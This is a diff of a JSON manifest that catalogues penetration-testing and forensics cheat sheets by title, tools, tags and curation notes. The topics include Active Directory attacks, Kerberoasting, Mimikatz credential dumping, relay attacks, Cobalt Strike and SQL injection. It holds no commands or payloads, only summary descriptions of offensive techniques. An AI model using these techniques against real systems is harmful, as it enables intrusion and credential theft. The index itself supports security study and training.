-   ],
-   "tags": [
-    "git",
-    "branching",
-    "workflow"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Best-structured branching deep-dive (9 H2); dedupes Branches.md and the Vault-management branch guide."
-  },
-  {
-   "source": "vault",
-   "rel": "Git/Resetting.md",
-   "category": "git-workflow",
-   "slug": "git-reset",
-   "title": "Git Reset & Undo",
-   "description": "Undo work safely: reset soft/mixed/hard, restore, revert, reflog recovery and stash rescue.",
-   "tools": [
-    "git"
-   ],
-   "tags": [
-    "git",
-    "undo",
-    "recovery"
-   ],
-   "difficulty": "intermediate",
-   "action": "port",
-   "note": "Distinct undo/recovery focus not covered by the main Git sheet."
-  }
- ]
-}
-\ No newline at end of file
+  "sheets": [
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/Active-Directory_cheat_sheet.md",
+      "category": "active-directory",
+      "slug": "active-directory-attacks",
+      "title": "Active Directory Attack Methodology",
+      "description": "End-to-end AD exploitation: enum, roasting, delegation, lateral movement, DCSync, persistence.",
+      "tools": [
+        "Impacket",
+        "Rubeus",
+        "Mimikatz",
+        "CrackMapExec"
+      ],
+      "tags": [
+        "active-directory",
+        "methodology",
+        "kerberos",
+        "lateral-movement"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "Consolidated AD attack encyclopedia (1 of 3 consolidated AD sheets); replaces the 78-file AD-Attack catalog."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/AD_Pentest_Tools_Cheat_Sheet.md",
+      "category": "active-directory",
+      "slug": "ad-pentest-tools",
+      "title": "AD Pentest Tools Workflow",
+      "description": "Tooling-oriented AD engagement workflow with copy-paste commands from enumeration to domain takeover.",
+      "tools": [
+        "NetExec",
+        "BloodHound",
+        "Impacket",
+        "ldapsearch"
+      ],
+      "tags": [
+        "active-directory",
+        "tooling",
+        "workflow",
+        "enumeration"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "2nd consolidated AD sheet: tool/command quickref; distinct focus (tools vs techniques)."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/ACL-ESC-Techniques/_ADCS Attack Methodology Guide.md",
+      "category": "active-directory",
+      "slug": "adcs-attack-methodology",
+      "title": "ADCS Attack Methodology",
+      "description": "ADCS/ESC attack index following Certified Pre-Owned taxonomy: ESC, THEFT, PERSIST, DPERSIST phases.",
+      "tools": [
+        "Certipy",
+        "Certify"
+      ],
+      "tags": [
+        "active-directory",
+        "adcs",
+        "esc",
+        "certificates"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "3rd consolidated sheet = single ADCS/ESC index; chosen over the 30-file per-ESC ACL-ESC series."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/Rubeus.md",
+      "category": "active-directory",
+      "slug": "rubeus",
+      "title": "Rubeus",
+      "description": "Rubeus Kerberos abuse: kerberoast, asreproast, ticket forging, S4U, pass-the-ticket, overpass-the-hash.",
+      "tools": [
+        "Rubeus"
+      ],
+      "tags": [
+        "active-directory",
+        "kerberos",
+        "tickets"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "Vault version (25KB/24H2/33code) far richer than Tools/Rubeus-Cheatsheet (8.8KB); single canonical Rubeus."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/BloodyAD.md",
+      "category": "active-directory",
+      "slug": "bloodyad",
+      "title": "BloodyAD",
+      "description": "BloodyAD LDAP privilege-abuse toolkit: RBCD, shadow creds, DACL edits, password/attribute writes.",
+      "tools": [
+        "BloodyAD"
+      ],
+      "tags": [
+        "active-directory",
+        "ldap",
+        "acl-abuse"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Vault (30KB/106code) beats repo copy (26KB/41code); dedupe winner."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/Autobloody.md",
+      "category": "active-directory",
+      "slug": "autobloody",
+      "title": "Autobloody",
+      "description": "autobloody automates BloodyAD privilege-escalation paths from a BloodHound/Neo4j graph, chaining the ACL edges end-to-end to reach a target principal.",
+      "tools": [
+        "autobloody",
+        "BloodyAD",
+        "BloodHound",
+        "Neo4j"
+      ],
+      "tags": [
+        "active-directory",
+        "ldap",
+        "acl-abuse"
+      ],
+      "difficulty": "intermediate",
+      "action": "add",
+      "note": "New sheet: two-stage tool (Neo4j Dijkstra pathfinding -> bloodyAD execution) that automates the bloodyAD ACL-edge playbook end-to-end."
+    },
+    {
+      "source": "repo",
+      "rel": "Active-Directory/Certipy-ad.md",
+      "category": "active-directory",
+      "slug": "certipy",
+      "title": "Certipy",
+      "description": "Certipy ADCS enumeration and ESC exploitation: template abuse, PKINIT, golden certificate, shadow creds.",
+      "tools": [
+        "Certipy"
+      ],
+      "tags": [
+        "active-directory",
+        "adcs",
+        "certificates"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "Repo (22.4KB/39code) edges vault copy and the 8KB Tools/Certipy-ADCS; canonical Certipy tool page."
+    },
+    {
+      "source": "repo",
+      "rel": "Active-Directory/BloodHound-Python_Cheatsheet.md",
+      "category": "active-directory",
+      "slug": "bloodhound",
+      "title": "BloodHound",
+      "description": "BloodHound data collection and analysis with the Python ingestor plus cypher query patterns.",
+      "tools": [
+        "BloodHound",
+        "bloodhound-python"
+      ],
+      "tags": [
+        "active-directory",
+        "graph",
+        "enumeration"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Richest BloodHound sheet (25.7KB/53code); dedupes vault BH-python, CE-python, Tools/BloodHound and SharpHound."
+    },
+    {
+      "source": "repo",
+      "rel": "Active-Directory/Impacket_Cheatsheet.md",
+      "category": "active-directory",
+      "slug": "impacket",
+      "title": "Impacket",
+      "description": "Impacket suite: secretsdump, psexec/wmiexec, GetUserSPNs, ntlmrelayx, ticketer, smbserver and more.",
+      "tools": [
+        "Impacket"
+      ],
+      "tags": [
+        "active-directory",
+        "smb",
+        "credentials",
+        "lateral-movement"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Repo (22.8KB/84code) beats vault Impacket.md (17KB) and the 8.7KB Tools copy; single canonical Impacket."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/Netexec (nxc) Cheat Sheet.md",
+      "category": "active-directory",
+      "slug": "netexec",
+      "title": "NetExec (nxc)",
+      "description": "NetExec/CrackMapExec successor: SMB/WinRM/LDAP/MSSQL sweeps, cred spraying, dumping and modules.",
+      "tools": [
+        "NetExec",
+        "nxc"
+      ],
+      "tags": [
+        "active-directory",
+        "smb",
+        "credentials",
+        "enumeration"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "26.9KB/21H2/50code markdown chosen over the netexec.pdf and 10KB NetExec-Cheatsheet; PDF rewrite unnecessary."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/Mimikatz-Cheatsheet.md",
+      "category": "active-directory",
+      "slug": "mimikatz",
+      "title": "Mimikatz",
+      "description": "Mimikatz credential extraction: sekurlsa, LSA dumps, DCSync, pass-the-hash/ticket, golden/silver tickets.",
+      "tools": [
+        "Mimikatz"
+      ],
+      "tags": [
+        "active-directory",
+        "credentials",
+        "kerberos"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Only Mimikatz sheet; compact but canonical (Mimikatz output is mostly non-code)."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/Kerberos/Kerberoasting Cheatsheet.md",
+      "category": "active-directory",
+      "slug": "kerberoasting",
+      "title": "Kerberoasting",
+      "description": "Request and crack SPN service tickets: GetUserSPNs, Rubeus, hashcat modes and mitigation notes.",
+      "tools": [
+        "Impacket",
+        "Rubeus",
+        "Hashcat"
+      ],
+      "tags": [
+        "active-directory",
+        "kerberos",
+        "cracking"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Focused Kerberoasting technique sheet; chosen over the on-host variant and catalog Attack #2."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/Kerbrute.md",
+      "category": "active-directory",
+      "slug": "kerbrute",
+      "title": "Kerbrute",
+      "description": "Kerbrute Kerberos pre-auth user enumeration and password spraying against a domain controller.",
+      "tools": [
+        "Kerbrute"
+      ],
+      "tags": [
+        "active-directory",
+        "kerberos",
+        "enumeration",
+        "spraying"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "Only Kerbrute sheet; distinct user-enum/spray tool."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/LDAP Search.md",
+      "category": "active-directory",
+      "slug": "ldap-enumeration",
+      "title": "LDAP Enumeration",
+      "description": "Manual ldapsearch queries to enumerate AD: users, groups, computers, ACLs, SPNs and attributes.",
+      "tools": [
+        "ldapsearch"
+      ],
+      "tags": [
+        "active-directory",
+        "ldap",
+        "enumeration"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Added by critic to fill the LDAP gap; manual query reference distinct from BloodHound/ldapdomaindump automation."
+    },
+    {
+      "source": "vault",
+      "rel": "Enumeration/Nmap Cheatsheet 2026.md",
+      "category": "enumeration",
+      "slug": "nmap",
+      "title": "Nmap",
+      "description": "Nmap host discovery, port/service/version scanning, timing, output formats and common scan recipes.",
+      "tools": [
+        "Nmap"
+      ],
+      "tags": [
+        "enumeration",
+        "port-scanning",
+        "network"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "Canonical Nmap; the 70KB NSE Guide and awesome-nmap-grep are narrower add-ons, dropped for a tight set."
+    },
+    {
+      "source": "vault",
+      "rel": "Enumeration/rustscan.md",
+      "category": "enumeration",
+      "slug": "rustscan",
+      "title": "RustScan",
+      "description": "RustScan fast port discovery, scripting engine, config and Nmap hand-off patterns.",
+      "tools": [
+        "RustScan",
+        "Nmap"
+      ],
+      "tags": [
+        "enumeration",
+        "port-scanning",
+        "network"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "Richest of three RustScan sheets (22.4KB/73code); PDF rewrite unnecessary."
+    },
+    {
+      "source": "vault",
+      "rel": "Enumeration/ffuf_cheat_sheet.md",
+      "category": "enumeration",
+      "slug": "ffuf",
+      "title": "ffuf",
+      "description": "ffuf web fuzzing: directory/vhost/parameter discovery, matchers/filters, recursion and wordlists.",
+      "tools": [
+        "ffuf"
+      ],
+      "tags": [
+        "enumeration",
+        "web",
+        "fuzzing"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "37KB/84code markdown beats the FFUF PDF and 8.6KB Tools/Ffuf copy; PDF rewrite unnecessary."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/gobuster.md",
+      "category": "enumeration",
+      "slug": "gobuster",
+      "title": "Gobuster",
+      "description": "Gobuster dir, dns, vhost and s3 brute-forcing modes with wordlist and status-code options.",
+      "tools": [
+        "Gobuster"
+      ],
+      "tags": [
+        "enumeration",
+        "web",
+        "brute-force"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "Distinct dir/DNS busting tool; complements ffuf."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/Nuclei-Cheatsheet.md",
+      "category": "enumeration",
+      "slug": "nuclei",
+      "title": "Nuclei",
+      "description": "Nuclei template-based vulnerability scanning: template selection, tags, severity and workflows.",
+      "tools": [
+        "Nuclei"
+      ],
+      "tags": [
+        "enumeration",
+        "scanning",
+        "vulnerabilities"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Dedicated Nuclei (27.7KB) preferred over the combined Nikto & Nuclei sheet for one clean tool page."
+    },
+    {
+      "source": "vault",
+      "rel": "Enumeration/WPScan.md",
+      "category": "enumeration",
+      "slug": "wpscan",
+      "title": "WPScan",
+      "description": "WPScan WordPress enumeration: plugins/themes/users, vuln API tokens and password attacks.",
+      "tools": [
+        "WPScan"
+      ],
+      "tags": [
+        "enumeration",
+        "web",
+        "wordpress"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "WPScan.md (43KB) richer than WPScan 1 (24KB); dedupe winner."
+    },
+    {
+      "source": "vault",
+      "rel": "Enumeration/SMBMAP.md",
+      "category": "enumeration",
+      "slug": "smbmap",
+      "title": "SMBMap",
+      "description": "SMBMap share enumeration, permissions mapping, file download/upload and command execution over SMB.",
+      "tools": [
+        "SMBMap"
+      ],
+      "tags": [
+        "enumeration",
+        "smb",
+        "shares"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "Canonical SMB share-enum tool page."
+    },
+    {
+      "source": "repo",
+      "rel": "Enumeration/Shodan_Cheatsheet.md",
+      "category": "enumeration",
+      "slug": "shodan",
+      "title": "Shodan",
+      "description": "Shodan search filters, dorks, CLI and API workflows for internet-wide asset and service discovery.",
+      "tools": [
+        "Shodan"
+      ],
+      "tags": [
+        "enumeration",
+        "osint",
+        "recon"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Huge OSINT sheet (44KB/264code); only Shodan reference and a distinct recon angle."
+    },
+    {
+      "source": "vault",
+      "rel": "Exploitation/sqlmap.md",
+      "category": "exploitation",
+      "slug": "sqlmap",
+      "title": "SQLMap",
+      "description": "SQLMap automated SQL injection: target flags, techniques, enumeration, dumping and tamper scripts.",
+      "tools": [
+        "SQLMap"
+      ],
+      "tags": [
+        "exploitation",
+        "sql-injection",
+        "web"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Ultimate SQLMap (29KB) chosen over the 20KB SQLi-testing variant; single canonical sqlmap."
+    },
+    {
+      "source": "vault",
+      "rel": "Exploitation/Jailbreak - TTY Upgrade.md",
+      "category": "exploitation",
+      "slug": "shell-stabilization",
+      "title": "Shell Stabilization & TTY Upgrades",
+      "description": "Upgrade dumb shells to full TTYs and escape restricted shells (rbash, jails) with many techniques.",
+      "tools": [
+        "python",
+        "socat",
+        "stty"
+      ],
+      "tags": [
+        "exploitation",
+        "shells",
+        "post-exploitation"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "57KB/247code sheet beats the 17KB TTY variant and the tty_shell PDF; PDF rewrite unnecessary."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/meterpreter.md",
+      "category": "exploitation",
+      "slug": "metasploit",
+      "title": "Metasploit Framework",
+      "description": "msfconsole and Meterpreter workflow: search, exploits, payloads, sessions, post modules, pivoting.",
+      "tools": [
+        "Metasploit",
+        "msfconsole",
+        "Meterpreter"
+      ],
+      "tags": [
+        "exploitation",
+        "framework",
+        "post-exploitation"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "48KB markdown covers msfconsole+meterpreter, so the two metasploit PDFs are not rewritten."
+    },
+    {
+      "source": "repo",
+      "rel": "HTB/cheatsheet-stack-based-buffer-overflows-on-windows-x86.pdf",
+      "category": "exploitation",
+      "slug": "buffer-overflow",
+      "title": "Stack-Based Buffer Overflow (Win x86)",
+      "description": "Classic Windows x86 stack overflow: fuzzing, EIP control, bad chars, JMP ESP, shellcode.",
+      "tools": [
+        "Immunity Debugger",
+        "mona.py",
+        "msfvenom"
+      ],
+      "tags": [
+        "exploitation",
+        "buffer-overflow",
+        "windows",
+        "binary"
+      ],
+      "difficulty": "advanced",
+      "action": "rewrite_from_pdf",
+      "note": "PDF-only classic binary-exploitation topic with no markdown equivalent; worth converting."
+    },
+    {
+      "source": "vault",
+      "rel": "PrivEsc/PrivEsc - Windows.md",
+      "category": "privilege-escalation",
+      "slug": "windows-privesc",
+      "title": "Windows Privilege Escalation",
+      "description": "Windows privesc master guide: token/privilege abuse, services, registry, AlwaysInstallElevated, potatoes.",
+      "tools": [
+        "winPEAS",
+        "PowerUp",
+        "JuicyPotato"
+      ],
+      "tags": [
+        "privilege-escalation",
+        "windows",
+        "post-exploitation"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "118-code master guide chosen over the two other Windows privesc dumps; single canonical page."
+    },
+    {
+      "source": "vault",
+      "rel": "PrivEsc/Linux PrivEsc Cheat Sheet.md",
+      "category": "privilege-escalation",
+      "slug": "linux-privesc",
+      "title": "Linux Privilege Escalation",
+      "description": "Linux privesc quick-reference: sudo, SUID/SGID, cron, LD_PRELOAD, LXD, NFS, capabilities and kernel.",
+      "tools": [
+        "linPEAS",
+        "pspy",
+        "GTFOBins"
+      ],
+      "tags": [
+        "privilege-escalation",
+        "linux",
+        "post-exploitation"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Only Linux privesc candidate; dense command-table checklist (0 fenced code because it is a table)."
+    },
+    {
+      "source": "vault",
+      "rel": "PasswordAttacks/hashcat-cheatsheet.md",
+      "category": "password-attacks",
+      "slug": "hashcat",
+      "title": "Hashcat",
+      "description": "Hashcat cracking: attack modes, hash-mode selection, rules, masks, wordlists and performance tuning.",
+      "tools": [
+        "Hashcat"
+      ],
+      "tags": [
+        "password-attacks",
+        "cracking",
+        "hashes"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Structured sheet (11 H2/12 code) preferred over the Tools copy and the raw hashcat-modes table."
+    },
+    {
+      "source": "vault",
+      "rel": "PasswordAttacks/john-cheatsheet.md",
+      "category": "password-attacks",
+      "slug": "john-the-ripper",
+      "title": "John the Ripper",
+      "description": "John the Ripper: 2john extractors, formats, wordlist/incremental/rules modes and session control.",
+      "tools": [
+        "John the Ripper"
+      ],
+      "tags": [
+        "password-attacks",
+        "cracking",
+        "hashes"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "13KB markdown beats the john PDF; PDF rewrite unnecessary."
+    },
+    {
+      "source": "repo",
+      "rel": "Password-Attacks/Password_Attacks_Cheat_Sheet.pdf",
+      "category": "password-attacks",
+      "slug": "password-attacks",
+      "title": "Password Attacks & Brute Forcing",
+      "description": "Online/offline password attacks: Hydra/Medusa service brute-forcing, spraying, mutations and defaults.",
+      "tools": [
+        "Hydra",
+        "Medusa",
+        "CrackMapExec"
+      ],
+      "tags": [
+        "password-attacks",
+        "brute-force",
+        "spraying"
+      ],
+      "difficulty": "intermediate",
+      "action": "rewrite_from_pdf",
+      "note": "PDF-only; covers network brute-forcing/spraying not in the hashcat/john offline-cracking sheets."
+    },
+    {
+      "source": "vault",
+      "rel": "Web/Cross-Site Scripting (XSS) - HTB Cheat Sheet.md",
+      "category": "web",
+      "slug": "xss",
+      "title": "Cross-Site Scripting (XSS)",
+      "description": "Reflected/stored/DOM XSS discovery, payloads, filter bypass and blind-XSS callbacks.",
+      "tools": [
+        "Burp Suite"
+      ],
+      "tags": [
+        "web",
+        "xss",
+        "injection"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Main XSS reference; the three blind-XSS tool sheets (ezXSS/Interactsh/XSS Hunter) dropped as too granular."
+    },
+    {
+      "source": "vault",
+      "rel": "Web/Phishing Site & Link Identification - Cheat Sheet.md",
+      "category": "web",
+      "slug": "phishing-identification",
+      "title": "Phishing Identification",
+      "description": "Identify phishing sites and malicious links: URL/domain analysis, indicators and triage workflow.",
+      "tools": [
+        "urlscan",
+        "VirusTotal"
+      ],
+      "tags": [
+        "web",
+        "phishing",
+        "osint",
+        "defense"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Richer than the two phishing PDFs; markdown chosen over rewrite."
+    },
+    {
+      "source": "repo",
+      "rel": "HTB/cheatsheet-sql-injection-fundamentals.pdf",
+      "category": "web",
+      "slug": "sql-injection",
+      "title": "SQL Injection Fundamentals",
+      "description": "Manual SQL injection: auth bypass, UNION, error/blind, DB fingerprinting and file read/write.",
+      "tools": [
+        "MySQL client"
+      ],
+      "tags": [
+        "web",
+        "sql-injection",
+        "injection"
+      ],
+      "difficulty": "intermediate",
+      "action": "rewrite_from_pdf",
+      "note": "PDF-only manual SQLi complements the automated sqlmap page; distinct angle."
+    },
+    {
+      "source": "repo",
+      "rel": "HTB/cheatsheet-file-inclusion.pdf",
+      "category": "web",
+      "slug": "file-inclusion",
+      "title": "File Inclusion (LFI/RFI)",
+      "description": "LFI/RFI exploitation: wrappers, log/wrapper poisoning, RCE, filter bypass and common payloads.",
+      "tools": [
+        "curl"
+      ],
+      "tags": [
+        "web",
+        "lfi",
+        "rfi",
+        "injection"
+      ],
+      "difficulty": "intermediate",
+      "action": "rewrite_from_pdf",
+      "note": "PDF-only; the vault LFI markdown is a 4.8KB stub with 0 code, so rewrite the PDF instead."
+    },
+    {
+      "source": "vault",
+      "rel": "Web/Curl Document.pdf",
+      "category": "web",
+      "slug": "curl",
+      "title": "cURL",
+      "description": "cURL for web testing: methods, headers, auth, cookies, proxies, file upload/download and scripting.",
+      "tools": [
+        "curl"
+      ],
+      "tags": [
+        "web",
+        "http",
+        "tooling"
+      ],
+      "difficulty": "beginner",
+      "action": "rewrite_from_pdf",
+      "note": "PDF-only staple; vault copy has the correct filename (repo copy is misnamed 'Curk')."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/Ligolo-ng Cheat sheet.md",
+      "category": "tunneling-pivoting",
+      "slug": "ligolo-ng",
+      "title": "Ligolo-ng",
+      "description": "Ligolo-ng tunneling: agent/proxy setup, interface routing, double/multi-hop pivots and listeners.",
+      "tools": [
+        "Ligolo-ng"
+      ],
+      "tags": [
+        "pivoting",
+        "tunneling",
+        "network"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "55KB markdown supersedes the two Ligolo PDFs; PDF rewrite unnecessary."
+    },
+    {
+      "source": "vault",
+      "rel": "Misc/Tunneling.md",
+      "category": "tunneling-pivoting",
+      "slug": "tunneling-tools",
+      "title": "Tunneling Tools",
+      "description": "Chisel, socat, plink and SSH tunneling patterns for port forwarding and pivoting through hosts.",
+      "tools": [
+        "Chisel",
+        "socat",
+        "plink",
+        "SSH"
+      ],
+      "tags": [
+        "pivoting",
+        "tunneling",
+        "port-forwarding"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "Comprehensive multi-tool tunneling (35KB/93code); chosen over the narrower Pivoting & Tunnelling sheet."
+    },
+    {
+      "source": "vault",
+      "rel": "Misc/SSH Portfwding with metasploit .md",
+      "category": "tunneling-pivoting",
+      "slug": "ssh-tunneling",
+      "title": "SSH Tunneling & Port Forwarding",
+      "description": "SSH local/remote/dynamic forwarding and Metasploit route/portfwd pivoting, worked end to end.",
+      "tools": [
+        "SSH",
+        "Metasploit"
+      ],
+      "tags": [
+        "pivoting",
+        "ssh",
+        "port-forwarding"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "SSH+Metasploit focus distinct from the general tunneling and Ligolo pages."
+    },
+    {
+      "source": "vault",
+      "rel": "Cryptography/GPG - Cheatsheet markdown.md",
+      "category": "cryptography",
+      "slug": "gpg",
+      "title": "GPG",
+      "description": "GnuPG keys, encryption/decryption, signing/verification, keyservers, trust and revocation.",
+      "tools": [
+        "GPG",
+        "GnuPG"
+      ],
+      "tags": [
+        "cryptography",
+        "encryption",
+        "pgp"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "75KB/154code markdown beats both GPG PDFs; PDF rewrite unnecessary."
+    },
+    {
+      "source": "repo",
+      "rel": "Misc/openssl-cheatsheet.pdf",
+      "category": "cryptography",
+      "slug": "openssl",
+      "title": "OpenSSL",
+      "description": "OpenSSL: keys, CSRs, certs, x509 inspection, PEM/DER conversion, s_client and encryption.",
+      "tools": [
+        "OpenSSL"
+      ],
+      "tags": [
+        "cryptography",
+        "tls",
+        "certificates"
+      ],
+      "difficulty": "intermediate",
+      "action": "rewrite_from_pdf",
+      "note": "PDF-only crypto staple with no markdown equivalent."
+    },
+    {
+      "source": "vault",
+      "rel": "HashingAndEncrypting/Hashing cheat sheet .md",
+      "category": "cryptography",
+      "slug": "hashing",
+      "title": "Hashing & Hash Identification",
+      "description": "Compute and identify hashes (md5/sha/NTLM), encodings, and pick the right cracking mode.",
+      "tools": [
+        "hashid",
+        "hash-identifier",
+        "openssl"
+      ],
+      "tags": [
+        "cryptography",
+        "hashing",
+        "identification"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "Only manual-hashing sheet; complements GPG/OpenSSL and feeds the password-cracking pages."
+    },
+    {
+      "source": "vault",
+      "rel": "DFIR/Forensics Cheatsheet.md",
+      "category": "dfir",
+      "slug": "forensics",
+      "title": "Digital Forensics",
+      "description": "Cross-platform DFIR reference: acquisition, triage, artifacts, timelines and analysis commands.",
+      "tools": [
+        "Autopsy",
+        "Sleuth Kit",
+        "plaso"
+      ],
+      "tags": [
+        "dfir",
+        "forensics",
+        "incident-response"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Broadest DFIR sheet (73KB/60code); general forensics anchor."
+    },
+    {
+      "source": "vault",
+      "rel": "DFIR/Volitility3 .md",
+      "category": "dfir",
+      "slug": "volatility",
+      "title": "Volatility 3",
+      "description": "Volatility 3 Windows memory forensics: processes, network, injection, hashes and plugin workflow.",
+      "tools": [
+        "Volatility 3"
+      ],
+      "tags": [
+        "dfir",
+        "memory-forensics",
+        "malware"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "Only Volatility sheet; core memory-forensics tool."
+    },
+    {
+      "source": "vault",
+      "rel": "DFIR/REDmd - Quick Cheat sheet.md",
+      "category": "dfir",
+      "slug": "recmd",
+      "title": "RECmd Registry Forensics",
+      "description": "RECmd registry analysis workflow: batch files, keys of interest and evidence extraction.",
+      "tools": [
+        "RECmd",
+        "Registry Explorer"
+      ],
+      "tags": [
+        "dfir",
+        "registry",
+        "windows"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "Quick cheat/workflow variant chosen over the longer RECmd FullGuide; one canonical RECmd page."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/Tshark.md",
+      "category": "dfir",
+      "slug": "tshark",
+      "title": "TShark",
+      "description": "TShark CLI packet capture and analysis: filters, fields, follow streams and extraction for triage.",
+      "tools": [
+        "TShark",
+        "Wireshark"
+      ],
+      "tags": [
+        "dfir",
+        "network-forensics",
+        "pcap"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Network-traffic analysis rep for DFIR; preferred over the narrower pcap-credential-extraction sheet."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/CMD-Powershell Cheat Sheet.md",
+      "category": "tools",
+      "slug": "windows-cmd-powershell",
+      "title": "Windows CMD & PowerShell",
+      "description": "Windows pentest command reference: recon, users/groups, networking, downloads and PowerShell one-liners.",
+      "tools": [
+        "cmd",
+        "PowerShell"
+      ],
+      "tags": [
+        "windows",
+        "post-exploitation",
+        "commands"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "71KB/161code superset; dedupes the standalone Powershell.md."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/fscan.md",
+      "category": "tools",
+      "slug": "fscan",
+      "title": "fscan",
+      "description": "fscan all-in-one intranet scanner: host/port discovery, service brute-forcing and vuln checks.",
+      "tools": [
+        "fscan"
+      ],
+      "tags": [
+        "scanning",
+        "enumeration",
+        "internal"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Distinct all-in-one internal scanner (43KB)."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/EyeWitness-Cheatsheet.md",
+      "category": "tools",
+      "slug": "eyewitness",
+      "title": "EyeWitness",
+      "description": "EyeWitness bulk web/RDP/VNC screenshotting and reporting for rapid visual recon.",
+      "tools": [
+        "EyeWitness"
+      ],
+      "tags": [
+        "recon",
+        "screenshots",
+        "web"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "Only screenshot-recon tool sheet."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/Snaffler.md",
+      "category": "tools",
+      "slug": "snaffler",
+      "title": "Snaffler",
+      "description": "Snaffler share-crawling for credentials, keys and sensitive files across SMB with tuning rules.",
+      "tools": [
+        "Snaffler"
+      ],
+      "tags": [
+        "credentials",
+        "shares",
+        "enumeration"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Rich share/credential hunting tool (28KB/38code)."
+    },
+    {
+      "source": "vault",
+      "rel": "ActiveDirectory/SharpSploit.md",
+      "category": "tools",
+      "slug": "sharpsploit",
+      "title": "SharpSploit",
+      "description": "SharpSploit .NET post-exploitation library: execution, credentials, enumeration and evasion APIs.",
+      "tools": [
+        "SharpSploit"
+      ],
+      "tags": [
+        "post-exploitation",
+        "dotnet",
+        "offensive"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "Rich .NET tradecraft sheet (28KB); distinct from GUI/CLI tools."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/NTLM-Kerberos-Relay-Cheatsheet.md",
+      "category": "tools",
+      "slug": "ntlm-kerberos-relay",
+      "title": "NTLM & Kerberos Relay",
+      "description": "Coercion and relay attacks: ntlmrelayx/Responder targets, ADCS/LDAP relay and Kerberos relaying.",
+      "tools": [
+        "ntlmrelayx",
+        "Responder",
+        "Coercer"
+      ],
+      "tags": [
+        "relay",
+        "ntlm",
+        "kerberos",
+        "coercion"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "Consolidated relay/coercion reference; complements Impacket without duplicating it."
+    },
+    {
+      "source": "vault",
+      "rel": "Tools/Cobalt-Strike-Cheatsheet.md",
+      "category": "tools",
+      "slug": "cobalt-strike",
+      "title": "Cobalt Strike",
+      "description": "Cobalt Strike operator reference: beacon commands, listeners, pivoting and post-exploitation.",
+      "tools": [
+        "Cobalt Strike"
+      ],
+      "tags": [
+        "c2",
+        "post-exploitation",
+        "red-team"
+      ],
+      "difficulty": "advanced",
+      "action": "port",
+      "note": "Only C2 reference; command-light because CS is GUI-driven, but fills a real gap."
+    },
+    {
+      "source": "repo",
+      "rel": "HTB/cheatsheet-file-transfers.pdf",
+      "category": "tools",
+      "slug": "file-transfers",
+      "title": "File Transfers",
